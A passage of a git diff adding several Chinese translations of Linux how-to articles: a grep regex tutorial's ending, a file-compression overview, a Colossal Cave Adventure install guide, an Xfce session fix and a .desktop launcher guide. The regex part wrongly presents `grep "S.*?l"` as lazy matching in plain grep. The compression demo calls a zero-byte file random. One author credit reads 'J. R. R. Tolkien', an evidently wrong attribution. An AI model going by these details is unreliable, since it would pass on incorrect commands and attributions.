+到现在为止,我们只使用了仅需要在中间查找单个字符的正则表达式的例子,但是如果我们需要看的更多该怎么办呢。假设我们需要找到以一个字符开头和结尾的所有单词,并且在中间可以有任意数量的字符。这就是我们使用乘数(multiplier)元字符如 + * & ? 的地方。
+
+{n},{n. m},{n , } 或者 { ,m} 也是可以在我们的正则表达式项中使用的其他乘数元字符。
+
+### * (星号)
+
+以下示例匹配字母k的任意出现次数,包括一次没有:
+
+ **$ grep "lak*" file4**
+
+它意味着我们可以匹配到‘lake’,‘la’或者‘lakkkk’
+
+### +
+
+以下模式要求字符串中的字母k至少被匹配到一次:
+
+ **$ grep "lak+" file5**
+
+这里k 在我们的搜索中至少需要发生一次,所以我们的结果可以为‘lake’或者‘lakkkk’,但不能是‘la’。
+
+### **?**
+
+在以下模式匹配中
+
+ **$ grep "ba?b" file6**
+
+字符串 bb 或 bab,使用‘?’乘数,我们可以有一个或零个字符的出现。
+
+### **非常重要的提示:**
+
+当使用乘数时这是非常重要的,假设我们有一个正则表达式
+
+ **$ grep "S.*l" file7**
+
+我们得到的结果是‘small’,‘silly’,并且我们也得到了‘Shane is a little to play ball’。但是为什么我们得到了‘Shane is a little to play ball’,我们只是在搜索中寻找单词,为什么我们得到了整个句子作为我们的输出。
+
+这是因为它满足我们的搜索标准,它以字母‘s’开头,中间有任意数量的字符并以字母‘l’结尾。那么,我们可以做些什么来纠正我们的正则表达式来只是得到单词而不是整个句子作为我们的输出。
+
+我们在正则表达式中需要增加 ? 元字符,
+
+ **$ grep "S.*?l" file7**
+
+这将会纠正我们正则表达式的行为。
+
+### **\ or Escape characters**
+
+\ 是当我们需要包含一个元字符或者对正则表达式有特殊含义的字符的时候来使用。例如,我们需要找到所有以点结尾的单词,所以我们可以使用
+
+ **$ grep "S.*\\." file8**
+
+这将会查找和匹配所有以一个点字符结尾的词。
+
+通过这篇基本正则表达式教程,我们现在有一些关于正则表达式如何工作的基本概念。在我们的下一篇教程中,我们将学习一些高级的正则表达式的概念。同时尽可能多地练习,创建正则表达式并试着尽可能多地在你的工作中加入它们。如果有任何疑问或问题,您可以在下面的评论区留言。
+
+--------------------------------------------------------------------------------
+
+via: http://linuxtechlab.com/bash-scripting-learn-use-regex-basics/
+
+作者:[SHUSAIN][a]
+译者:[kimii](https://github.com/kimii)
+校对:[校对者ID](https://github.com/校对者ID)
+
+本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创编译,[Linux中国](https://linux.cn/) 荣誉推出
+
+[a]:http://linuxtechlab.com/author/shsuain/
+[1]:http://linuxtechlab.com/useful-linux-commands-you-should-know/
+
+
+
+
+
diff --git a/translated/tech/20171214 How to squeeze the most out of Linux file compression.md b/translated/tech/20171214 How to squeeze the most out of Linux file compression.md
new file mode 100644
index 0000000000..66a6ab980a
--- /dev/null
+++ b/translated/tech/20171214 How to squeeze the most out of Linux file compression.md
@@ -0,0 +1,115 @@
+如何优雅的使用大部分的 Linux 文件压缩
+=======
+ 如果你对 linux 系统下的对文件压缩命令或操作的有效性有任何疑问 ,你应该看一下 **apropos compress** 这个命令的输出 ;如果你有机会这么做 ,你会惊异于有如此多的的命令来进行压缩文件和解压缩文件 ;还有许多命令来进行压缩文件的比较 ,检验 ,并且能够在压缩文件中的内容中进行搜索 ,甚至能够把压缩文件从一个格式变成另外一种格式 ( *.z 格式变为 *.gz 格式 ) 。
+ 你想在所有词目中寻找一组 bzip2 的压缩命令 。包括 zip ,gzip ,和 xz 在内 ,你将得到一个有意思的操作。
+
+```
+$ apropos compress | grep ^bz
+ bzcat (1) - decompresses files to stdout
+ bzcmp (1) - compare bzip2 compressed files
+ bzdiff (1) - compare bzip2 compressed files
+ bzegrep (1) - search possibly bzip2 compressed files for a regular expression
+ bzexe (1) - compress executable files in place
+ bzfgrep (1) - search possibly bzip2 compressed files for a regular expression
+ bzgrep (1) - search possibly bzip2 compressed files for a regular expression
+ bzip2 (1) - a block-sorting file compressor, v1.0.6
+ bzless (1) - file perusal filter for crt viewing of bzip2 compressed text
+ bzmore (1) - file perusal filter for crt viewing of bzip2 compressed text
+```
+
+ 在我的Ubuntu系统上 ,列出了超过 60 条命令作为 apropos compress 命令的返回 。
+
+## 压缩算法
+ 压缩并没有普适的方案 ,某些压缩工具是有损耗的压缩 ,例如能够使 mp3 文件减小大小而能够是听者有接近聆听原声的音乐感受 。但是 Linux 命令行能够用算法使压缩文件或档案文件能够重新恢复为原始数据 ,换句话说 ,算法能够使压缩或存档无损 。
+
+ 这是如何做到的 ?300 个相同的在一行的相同的字符能够被压缩成像 “300x” 。但是这种算法不会对大多数的文件产生有效的益处 。因为文件中完全随机的序列要比相同字符的序列要多的多 。 压缩算法会越来越复杂和多样 ,所以在 Unix 早期 ,压缩是第一个被介绍的 。
+
+## 在 Linux 系统上的压缩命令
+ 在 Linux 系统上最常用的压缩命令是 zip ,gzip ,bzip2 ,xz 。 前面提到的常用压缩命令以同样的方式工作 。会权衡文件内容压缩程度 ,压缩花费的时间 ,压缩文件在其他你需要使用的系统上的兼容性 。
+ 一些时候压缩一个文件并不会花费很多时间和性能 。在下面的例子中 ,被压缩的文件会比原始文件要大 。当在一个不是很普遍的情况下 ,尤其是在文件内容达到一定等级的随机度 。
+
+```
+$ time zip bigfile.zip bigfile
+ adding: bigfile (default 0% )
+real 0m0.055s
+user 0m0.000s
+sys 0m0.016s
+$ ls -l bigfile*
+-rw-r--r-- 1 root root 0 12月 20 22:36 bigfile
+-rw------- 1 root root 164 12月 20 22:41 bigfile.zip
+```
+ 注意压缩后的文件 ( bigfile.zip ) 比源文件 ( bigfile ) 要大 。如果压缩增加了文件的大小或者减少的很少的百分比 ,那就只剩下在线备份的好处了 。如果你在压缩文件后看到了下面的信息 。你不会得到太多的益处 。
+ ( defalted 1% )
+
+ 文件内容在文件压缩的过程中有很重要的作用 。在上面文件大小增加的例子中是因为文件内容过于随机 。压缩一个文件内容只包含 0 的文件 。你会有一个相当震惊的压缩比 。在如此极端的情况下 ,三个常用的压缩工具都有非常棒的效果 。
+
+```
+-rw-rw-r-- 1 shs shs 10485760 Dec 8 12:31 zeroes.txt
+-rw-rw-r-- 1 shs shs 49 Dec 8 17:28 zeroes.txt.bz2
+-rw-rw-r-- 1 shs shs 10219 Dec 8 17:28 zeroes.txt.gz
+-rw-rw-r-- 1 shs shs 1660 Dec 8 12:31 zeroes.txt.xz
+-rw-rw-r-- 1 shs shs 10360 Dec 8 12:24 zeroes.zip
+```
+ 你不会喜欢为了查看文件中的 50 个字节的而将 10 0000 0000 字节的数据完全解压 。这样是及其不可能的 。
+ 在更真实的情况下 ,大小差异是总体上的不同 -- 不是重大的效果 -- 对于一个小的公正的 jpg 的图片文件 。
+
+```
+-rw-r--r-- 1 shs shs 13522 Dec 11 18:58 image.jpg
+-rw-r--r-- 1 shs shs 13875 Dec 11 18:58 image.jpg.bz2
+-rw-r--r-- 1 shs shs 13441 Dec 11 18:58 image.jpg.gz
+-rw-r--r-- 1 shs shs 13508 Dec 11 18:58 image.jpg.xz
+-rw-r--r-- 1 shs shs 13581 Dec 11 18:58 image.jpg.zip
+```
+
+ 在压缩拉的文本文件时 ,你会发现重要的不同 。
+```
+$ ls -l textfile*
+ -rw-rw-r-- 1 shs shs 8740836 Dec 11 18:41 textfile
+ -rw-rw-r-- 1 shs shs 1519807 Dec 11 18:41 textfile.bz2
+ -rw-rw-r-- 1 shs shs 1977669 Dec 11 18:41 textfile.gz
+ -rw-rw-r-- 1 shs shs 1024700 Dec 11 18:41 textfile.xz
+ -rw-rw-r-- 1 shs shs 1977808 Dec 11 18:41 textfile.zip
+```
+
+ 在这种情况下 ,XZ 相较于其他压缩文件有效的减小了文件的大小 ,对于第二的 bzip2 命令也有很大的提高
+
+## 查看压缩文件
+
+ 以 more 结尾的命令能够让你查看压缩文件而不解压文件 。
+
+```
+bzmore (1) - file perusal filter for crt viewing of bzip2 compressed text
+lzmore (1) - view xz or lzma compressed (text) files
+xzmore (1) - view xz or lzma compressed (text) files
+zmore (1) - file perusal filter for crt viewing of compressed text
+```
+ 这些命令在大多数工作中被使用 ,自从不得不使文件解压缩而只为了显示给用户 。在另一方面 ,留下被解压的文件在系统中 。这些命令简单的使文件解压缩 。
+
+```
+$ xzmore textfile.xz | head -1
+ Here is the agenda for tomorrow's staff meeting:
+```
+
+## 比较压缩文件
+ 许多的压缩工具箱包含一个差异命令 ( 例如 :xzdiff ) 。这些工具通过这些工作来进行比较和差异而不是做算法指定的比较 。例如 ,xzdiff 命令比较 bz2 类型的文件和比较 xz 类型的文件一样简单 。
+
+## 如何选择最好的 Linux 压缩工具
+ 如何选择压缩工具取决于你工作 。在一些情况下 ,选择取决于你所压缩的数据内容 。在更多的情况下 ,取决你你组织的惯例 ,除非你对磁盘空间有着很高的敏感度 。下面是一般的建议 :
+ zip :文件需要被分享或者会在 Windows 系统下使用 。
+ gzip :文件在 Unix/Linux 系统下使用 。长远来看 ,bzip2 是普遍存在的 。
+ bzip2 :使用了不同的算法 ,产生比 gzip 更小的文件 ,但是花更长的时间 。
+ xz :一般提供做好的压缩率 ,但是也会花费相当的时间 。比其他工具更新 ,可能在你工作的系统上不存在 。
+
+## 注意
+ 当你在压缩文件时,你有很多选择 ,在极少的情况下 ,会产生无效的磁盘存储空间。
+
+--------------------------------------------------------------------------------
+via: https://www.networkworld.com/article/3240938/linux/how-to-squeeze-the-most-out-of-linux-file-compression.html
+
+作者 :[ Sandra Henry-Stocker ][1] 译者:[ singledp ][2] 校对:校对者ID
+
+本文由 [ LCTT ][3]原创编译,Linux中国 荣誉推出
+
+[1]:https://www.networkworld.com
+[2]:https://github.com/singledo
+[3]:https://github.com/LCTT/TranslateProject
\ No newline at end of file
diff --git a/translated/tech/20171214 The Most Famous Classic Text-based Adventure Game.md b/translated/tech/20171214 The Most Famous Classic Text-based Adventure Game.md
new file mode 100644
index 0000000000..17dfb304a6
--- /dev/null
+++ b/translated/tech/20171214 The Most Famous Classic Text-based Adventure Game.md
@@ -0,0 +1,115 @@
+最有名的经典文字冒险游戏
+======
+**巨洞冒险**,又名 **ADVENT**、**Clossal Cave** 或 **Adventure**,是八十年代初到九十年代末最受欢迎的基于文字的冒险游戏。这款游戏还作为史上第一款“互动小说”类游戏而闻名。在 1976 年,一个叫 **Will Crowther** 的程序员开发了这款游戏的一个早期版本,之后另一位叫 **Don Woods** 的程序员改进了这款游戏,为它添加了许多新元素,包括计分系统以及更多的幻想角色和场景。这款游戏最初是为 **PDP-10** 开发的,这是一个历史悠久的大型计算机。后来,它被移植到普通家用台式电脑上,比如 IBM PC 和 Commodore 64。游戏的最初版使用 Fortran 开发,之后在八十年代初它被微软加入到 MS-DOS 1.0 当中。
+
+
+
+1995 年发布的最终版本 **Adventure 2.5** 从来没有可用于现代操作系统的安装包。它已经几乎绝版。万幸的是,在多年之后身为开源运动提倡者的 **Eric Steven Raymond** 得到了原作者们的同意之后将这款经典游戏移植到了现代操作系统上。他把这款游戏开源并将源代码以 **”open-adventure“** 之名托管在 GitLab 上。
+
+你在这款游戏的主要目标是找到一个传言中藏有大量宝藏和金子的洞穴并活着离开它。玩家在这个虚拟洞穴中探索时可以获得分数。一共可获得的分数是 430 点。这款游戏的灵感主要来源于原作者 **Will Crowther** 丰富的洞穴探索的经历。他曾经积极地在洞穴中冒险,特别是肯塔基州的猛犸洞。因为游戏中的洞穴结构大体基于猛犸洞,你也许会注意到游戏中的场景和现实中的猛犸洞的相似之处。
+
+### 安装巨洞冒险
+
+Open Adventure 在 [**AUR**][1] 上有面对 Arch 系列操作系统的安装包。所以我们可以在 Arch Linux 或者像 Antergos 和 Manjaro Linux 等基于 Arch 的发行版上使用任何 AUR 辅助程序安装这款游戏。
+
+使用 [**Pacaur**][2]:
+```
+pacaur -S open-adventure
+```
+
+使用 [**Packer**][3]:
+```
+packer -S open-adventure
+```
+
+使用 [**Yaourt**][4]:
+```
+yaourt -S open-adventure
+```
+
+在其他 Linux 发行版上,你也许需要经过如下步骤来从源代码编译并安装这款游戏。
+
+首先安装依赖项:
+
+在 Debian 和 Ubuntu 上:
+```
+sudo apt-get install python3-yaml libedit-dev
+```
+
+在 Fedora 上:
+```
+sudo dnf install python3-PyYAML libedit-devel
+```
+
+你也可以使用 pip 来安装 PyYAML:
+```
+sudo pip3 install PyYAML
+```
+
+安装好依赖项之后,用以下命令从源代码编译并安装 open-adventure:
+```
+git clone https://gitlab.com/esr/open-adventure.git
+```
+```
+make
+```
+```
+make check
+```
+
+最后,运行 ‘advent’ 程序开始游戏:
+```
+advent
+```
+
+在 [**Google Play store**][5] 上还有这款游戏的安卓版。
+
+### 游戏说明
+
+要开始游戏,只需在终端中输入这个命令:
+```
+advent
+```
+
+你会看到一个欢迎界面。按 “y” 来查看教程,或者按 “n“ 来开始冒险之旅。
+
+![][6]
+
+游戏在一个小砖房前面开始。玩家需要使用由一到两个简单的英语单词单词组成的命令来控制角色。要移动角色,只需输入 **in**、 **out**、**enter**、**exit**、**building**、**forest**、**east**、**west**、**north**、**south**、**up** 或 **down** 等指令。
+
+比如说,如果你输入 **”south“** 或者简写 **”s“**,游戏角色就会向当前位置的南方移动。注意每个单词只有前五个字母有效,所以当你需要输入更长的单词时需要使用缩写,比如要输入 **northeast** 时,只需输入 NE(大小写均可)。要输入 **southeast** 则使用 SE。要捡起物品,输入 **pick**。要进入一个建筑物或者其他的场景,输入 **in**。要从任何场景离开,输入 **exit**,诸如此类。当你遇到危险时你会受到警告。你也可以使用两个单词的短语作为命令,比如 **”eat food“**、**”drink water“**、**”get lamp“**、**”light lamp“**、**”kill snake“** 等等。你可以在任何时候输入 **”help“** 来显示游戏帮助。
+
+![][8]
+
+我花了一整个下午来探索这款游戏。天哪,这真是段超级有趣、激动人心又紧张刺激的冒险体验!
+
+![][9]
+
+我打通了许多关卡并在路上探索了各式各样的场景。我甚至找到了金子,还被一条蛇和一个矮人袭击过。我必须承认这款游戏真是非常让人上瘾,简直是最好的时间杀手。
+
+如果你安全地带着财宝离开了洞穴,你会取得游戏胜利,并获得财宝全部的所有权。你在找到财宝的时候也会获得部分的奖励。要提前离开你的冒险,输入 **”quit“**。要暂停冒险,输入 **”suspend“**(或者 ”pause“ 或 ”save“)。你可以在之后继续冒险。要看你现在的进展如何,输入 **”score“**。记住,被杀或者退出会导致丢分。
+
+祝你们玩得开心!再见!
+
+
+
+--------------------------------------------------------------------------------
+
+via: https://www.ostechnix.com/colossal-cave-adventure-famous-classic-text-based-adventure-game/
+
+作者:[SK][a]
+译者:[yixunx](https://github.com/yixunx)
+校对:[校对者ID](https://github.com/校对者ID)
+
+本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创编译,[Linux中国](https://linux.cn/) 荣誉推出
+
+[a]:https://www.ostechnix.com/author/sk/
+[1]:https://aur.archlinux.org/packages/open-adventure/
+[2]:https://www.ostechnix.com/install-pacaur-arch-linux/
+[3]:https://www.ostechnix.com/install-packer-arch-linux-2/
+[4]:https://www.ostechnix.com/install-yaourt-arch-linux/
+[5]:https://play.google.com/store/apps/details?id=com.ecsoftwareconsulting.adventure430
+[6]:https://www.ostechnix.com/wp-content/uploads/2017/12/Colossal-Cave-Adventure-2.png
+[7]:http://www.ostechnix.com/wp-content/uploads/2017/12/Colossal-Cave-Adventure-2.png
+[8]:http://www.ostechnix.com/wp-content/uploads/2017/12/Colossal-Cave-Adventure-3.png
+[9]:http://www.ostechnix.com/wp-content/uploads/2017/12/Colossal-Cave-Adventure-1.png
diff --git a/translated/tech/20171216 Saving window position in Xfce session.md b/translated/tech/20171216 Saving window position in Xfce session.md
new file mode 100644
index 0000000000..e57a667ccb
--- /dev/null
+++ b/translated/tech/20171216 Saving window position in Xfce session.md
@@ -0,0 +1,68 @@
+在 Xfce 会话中保存窗口的位置
+======
+摘要:如果你发现 Xfce session 不能保存窗口的位置,那么启用 `save on logout` 然后登出再进来一次,可能就能修复这个问题了 (permanently, if you like keeping the same session and turn saving back off again)。 下面是详细内容。
+
+我用 Xfce 作桌面有些年头了,但是每次重启后进入之前保存的 session 时总会有问题出现。 登陆后, 之前 session 中保存的应用都会启动, 但是所有的工作区和窗口位置数据会丢失, 导致所有应用都堆在默认工作区中,乱糟糟的。
+
+多年来,很多人都报道过这个问题( Ubuntu, Xfce, 以及 Red Hat 的 bug 追踪系统中都有登记这个 bug)。 虽然 Xfce4.10 中已经修复过了一个相关 bug, 但是我用的 Xfce4.12 依然有这个问题。 如果不是我的其中一个系统能够正常的回复各个窗口的位置,我几乎都要放弃找出问题的原因了(事实上我之前已经放弃过很多次了)。
+
+今天,我深入对比了两个系统的不同点,最终解决了这个问题。 我现在就把结果写出来, 以防有人也遇到相同的问题。
+
+提前的一些说明:
+
+ 1。由于这个笔记本只有我在用,因此我几乎不登出我的 Xfce session。 我一般只是休眠然后唤醒,除非由于要对内核打补丁才进行重启, 或者由于某些改动损毁了休眠镜像导致系统从休眠中唤醒时卡住了而不得不重启。 另外,我也很少使用 Xfce 工具栏上的重启按钮重启; 一般我只是运行一下 `reboot`。
+
+ 2。我会使用 xterm 和 Emacs, 这些 X 应用写的不是很好,无法记住他们自己的窗口位置。
+
+Xfce 将 sessions 信息保存到主用户目录中的 `.cache/sessions` 目录中。在经过仔细检查后发现,在正常的系统中有两类文件存储在该目录中,而在非正常的系统中,只有一类文件存在该目录下。
+
+其中一类文件的名字类似 `xfce4-session-hostname:0` 这样的,其中包含的内容类似下面这样的:
+```
+Client9_ClientId=2a654109b-e4d0-40e4-a910-e58717faa80b
+Client9_Hostname=local/hostname
+Client9_CloneCommand=xterm
+Client9_RestartCommand=xterm,-xtsessionID,2a654109b-e4d0-40e4-a910-e58717faa80b
+Client9_Program=xterm
+Client9_UserId=user
+
+```
+
+这个文件记录了所有正在运行的程序。如果你进入 Settings -> Session and Startup 并清除 session 缓存, 就会删掉这种文件。 当你保存当前 session 时, 又会创建这种文件。 这就是 Xfce 知道要启动哪些应用的原因。 但是请注意,上面并没有包含任何窗口位置的信息。 (我还曾经以为可以根据 session ID 来找到其他地方的一些相关信息,但是失败了)。
+
+正常工作的系统在目录中还有另一类文件,名字类似 `xfwm4-2d4c9d4cb-5f6b-41b4-b9d7-5cf7ac3d7e49.state` 这样的。 其中文件内容类似下面这样:
+```
+[CLIENT] 0x200000f
+ [CLIENT_ID] 2a9e5b8ed-1851-4c11-82cf-e51710dcf733
+ [CLIENT_LEADER] 0x200000f
+ [RES_NAME] xterm
+ [RES_CLASS] XTerm
+ [WM_NAME] xterm
+ [WM_COMMAND] (1) "xterm"
+ [GEOMETRY] (860,35,817,1042)
+ [GEOMETRY-MAXIMIZED] (860,35,817,1042)
+ [SCREEN] 0
+ [DESK] 2
+ [FLAGS] 0x0
+
+```
+
+注意这里的 geometry 和 desk 记录的正是我们想要的窗口位置以及工作区号。因此不能保存窗口位置的原因就是因为缺少这个文件。
+
+继续深入下去,我发现当你明确地手工保存 sessino 时,智慧保存第一个文件而不会保存第二个文件。 但是当登出保存 session 时则会保存第二个文件。 因此, 我进入 Settings -> Session and Startup 中,在 Genral 标签页中启用登出时自动保存 session, 然后登出后再进来, 然后 tada, 第二个文件出现了。 再然后我又关闭了登出时自动保存 session。( 因为我一般在排好屏幕后就保存一个 session, 但是我不希望做出的改变也会影响到这个保存的 session, 如有必要我会明确地手工进行保存), 现在 我的窗口位置能够正常的回复了。
+
+这也解释了为什么有的人会有问题而有的人没有问题: 有的人可能一直都是用登出按钮重启,而有些人则是手工重启(或者仅仅是由于系统漰溃了才重启)。
+
+顺带一提,这类问题, 以及为解决问题而付出的努力正是我赞同为软件存储的状态文件编写 man 页或其他类似文档的原因。 为用户编写文档,不仅能帮助别人深入挖掘产生奇怪问题的原因, 也能让软件作者注意到软件中那些奇怪的东西, 比如将 session 状态存储到两个独立的文件中去。
+
+
+--------------------------------------------------------------------------------
+
+via: https://www.eyrie.org/~eagle/journal/2017-12/001.html
+
+作者:[J. R. R. Tolkien][a]
+译者:[lujun9972](https://github.com/lujun9972)
+校对:[校对者ID](https://github.com/校对者ID)
+
+本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创编译,[Linux中国](https://linux.cn/) 荣誉推出
+
+[a]:https://www.eyrie.org
diff --git a/translated/tech/20171218 How to Create a .Desktop File For Your Application in Linux.md b/translated/tech/20171218 How to Create a .Desktop File For Your Application in Linux.md
new file mode 100644
index 0000000000..f6291f722c
--- /dev/null
+++ b/translated/tech/20171218 How to Create a .Desktop File For Your Application in Linux.md
@@ -0,0 +1,89 @@
+为你的 Linux 应用创建 .Desktop 文件
+======
+在 Linux 中,一个 .desktop 文件就是一个用来运行程序的快捷方式。没有 .desktop 的话,你的应用就不会在应用菜单中显示了,也无法使用像 Synapse 和 Albert 这样的第三方启动起启动了。
+
+大多数应用在安装后都会自动创建 .desktop 文件,并将自己放入应用菜单中以方便访问。然而,如果是你自己从源代码中编译的程序或者自己下载的压缩格式的应用,那就不会做这些事情了,每次你都需要打开终端来执行它的二进制文件。显然这个过程很无聊也很麻烦。
+
+本文将会告诉你如何为应用创建 .desktop 文件,从而让你能在应用菜单中启动该应用。
+
+ **相关阅读**:[How to Add App Drawers to Unity Launcher in Ubuntu][1]
+
+### 如何创建桌面启动器
+".desktop" 文件基本上就是一个包含程序信息的纯文本文件,通常根据是自己可见还是所有用户可见的不同而放在 "~/.local/share/applications" 或者 "/usr/share/applications/" 目录中。你在文件管理器中访问这两个目录,都会看到很多系统中已安装应用对应的 ".desktop" 文件存在。
+
+为了演示,我将会为 Super Tux Kart 创建一个 .desktop 文件,这是一个我很喜欢玩的卡丁车竞赛游戏。Ubuntu 仓库中带了这个游戏,但版本一般不新。
+
+要获得最新的版本就需要下载 tar 包,解压并执行其中的游戏启动文件。
+
+你可以仿照这个步骤来为任何程序创建启动器。
+
+ **注意**:下面步骤假设程序压缩包放在 "Downloads" 目录下。
+
+1。跳转到存放压缩包的目录,右击然后选择 "Extract here"。
+
+![application-launcher-5][2]
+
+2。解压后,进入新创建的目录然后找到可执行的文件。之后右击文件选择 "Run" 来启动程序,确定程序运行正常。
+
+![application-launcher-6][3]
+
+3。有时候,你在右键菜单中找不到 "Run" 选项。这通常是因为这个可执行文件是一个文本文件。你可以在终端中执行它,如果你使用 GNOME 的话,可以点击上面菜单栏中的 Files 菜单,然后选择 "Preferences"。
+
+![application-launcher-linux-1][4]
+
+4。选择 "Behavior" 标签页然后选择 "Executable Text Files" 下的 "Run them"。现在右击可执行文本文件后也能出现 "Run" 选项了。
+
+![application-launcher-31][5]
+
+5。确认应用运行正常后,就可以退出它了。然后运行你的文本编辑器并将下面内容粘贴到空文本文件中:
+```
+[Desktop Entry]
+Encoding=UTF-8
+Version=1.0
+Type=Application
+Terminal=false
+Exec=/path/to/executable
+Name=Name of Application
+Icon=/path/to/icon
+```
+
+你需要更改 "Exec" 域的值为可执行文件的路径并且将 "Name" 域的值改成应用的名称。大多数的程序都在压缩包中提供了一个图标,不要忘记把它也填上哦。在我们这个例子中,Super Tux Kart 的启动文件看起来是这样的:
+
+![application-launcher-supertuxkart][6]
+
+6。将文件以 "application-name.desktop" 为名保存到 "~/.local/share/applications" 目录中。".local" 目录位于你的 Home 目录下,是一个隐藏目录,你需要启用 "Show Hidden Files" 模式才能看到它。如果你希望这个应用所有人都能访问,则在终端中运行下面命令:
+```
+sudo mv ~/.local/share/applications/ /usr/share/applications/
+```
+
+当然,别忘了把命令中的 改成真实的 .desktop 文件名。
+
+7。完成后,打开应用菜单,就能看到应用出现在其中,可以使用了。
+
+![application-launcher-2][7]
+
+这个方法应该适用于所有主流的 Linux 操作系统。下面是另一张 Super Tux Kart 在 elementary OS 的应用启动器 (slingshot) 上的截图
+
+![application-launcher-4][8]
+
+如果你觉得本教程还有点用的话,欢迎留言。
+
+--------------------------------------------------------------------------------
+
+via: https://www.maketecheasier.com/create-desktop-file-linux/
+
+作者:[Ayo Isaiah][a]
+译者:[lujun9972](https://github.com/lujun9972)
+校对:[校对者ID](https://github.com/校对者ID)
+
+本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创编译,[Linux中国](https://linux.cn/) 荣誉推出
+
+[a]:https://www.maketecheasier.com/author/ayoisaiah/
+[1]:https://www.maketecheasier.com/add-app-drawer-unity-launcher-ubuntu/ (How to Add App Drawers to Unity Launcher in Ubuntu)
+[2]:https://www.maketecheasier.com/assets/uploads/2017/11/application-launcher-5.png (application-launcher-5)
+[3]:https://www.maketecheasier.com/assets/uploads/2017/11/application-launcher-6.png (application-launcher-6)
+[4]:https://www.maketecheasier.com/assets/uploads/2017/11/application-launcher-linux-1.png (application-launcher-linux-1)
+[5]:https://www.maketecheasier.com/assets/uploads/2017/11/application-launcher-31.png (application-launcher-31)
+[6]:https://www.maketecheasier.com/assets/uploads/2017/11/application-launcher-supertuxkart.png (application-launcher-supertuxkart)
+[7]:https://www.maketecheasier.com/assets/uploads/2017/11/application-launcher-2.jpg (application-launcher-2)
+[8]:https://www.maketecheasier.com/assets/uploads/2017/11/application-launcher-4.jpg (application-launcher-4)